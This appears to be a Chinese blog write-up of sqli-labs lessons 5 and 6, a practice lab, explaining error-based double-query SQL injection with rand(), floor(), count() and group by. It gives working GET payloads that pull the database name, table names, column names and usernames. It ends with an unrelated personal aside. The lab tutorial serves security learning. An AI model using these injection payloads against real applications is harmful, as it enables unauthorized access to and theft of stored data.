sqli-labs杂记

前言

前面几关都是简单的注入类型,所以不在写具体的笔记了。

双注入查询

我们理解对的sql查询语句都是select来查询的,双注入查询也就是在第一个select语句中包含一个子查询语句,也就是包含一个select 语句。我们可以尝试一下构造一个sql语句

1
select concat((select database()));

concat() 是用来连接的函数,这样就可以把数据库显示出来。 不明白的话,可以这样理解

1
select concat('a','b');

第一个sql语句的查询结果

第二个sql语句的查询结果

对于双注入查询来说,有几个函数要理解。

rand()函数

随机函数,就是随机的产生数字。

可以在本地环境下进行测试

可以看到两次得到的数字步相同,这就是这个函数的用处。

Floor()函数

取整函数,将随机数字取整数,可以和rand()函数结合在一起进行本地测试。

将两次随机得到的数字进行取整

然后我们可以将查询数据库和者两个函数用到一起来看一下。

构造sql语句

1
select concat((select database()),floor(rand()*2));

查询结果如图

如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条

count()函数

聚合函数,使用方法和结果如图。

可以在尝试换另一个表名,来测试我们可以换程information_schema这个表

可以看到,表里面只有五个,使用了聚合函数后,可以很容易的看到表内有多少条数据。

Group by clause

分组语句

这个语句可以和以上的所有函数结合在一起进行使用

1
select count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a;

less-5

基于GET传参单引号类型的双注入查询

题目详解

打开题目,构造payload ?id=1’ 报错 ?id=1”正常

所以构造payload爆数据库

1
?id=1' union select 1,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a%23

得到数据库,然后下面就是组合拳喽!!

less-6

基于GET传参双引号类型的双注入查询

题目详解

对于这题来说,是双引号进行注入,其他和less-5相同

组合拳爆数据库

构造payload

1
?id=-1" union select 1,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a%23

得到数据库名称!!

爆表名

构造Payload

1
?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a%23

发现了如图所示的报错,意思是数据库里包含的不止一个表,所以,就要使用limit了

重新构造payload爆表名

1
?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a%23

得到users表

构造payload爆列名

1
?id=-1" union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2))as a from information_schema.tables group by a%23

可以得到username列

构造Payload爆字段

1
?id=-1" union select 1,count(*),concat((select username from users limit 1,1),floor(rand()*2))as a from information_schema.tables group by a%23

成功得到数据!!!

杂记

失去一个不再爱自己的人,有什么可惜的!!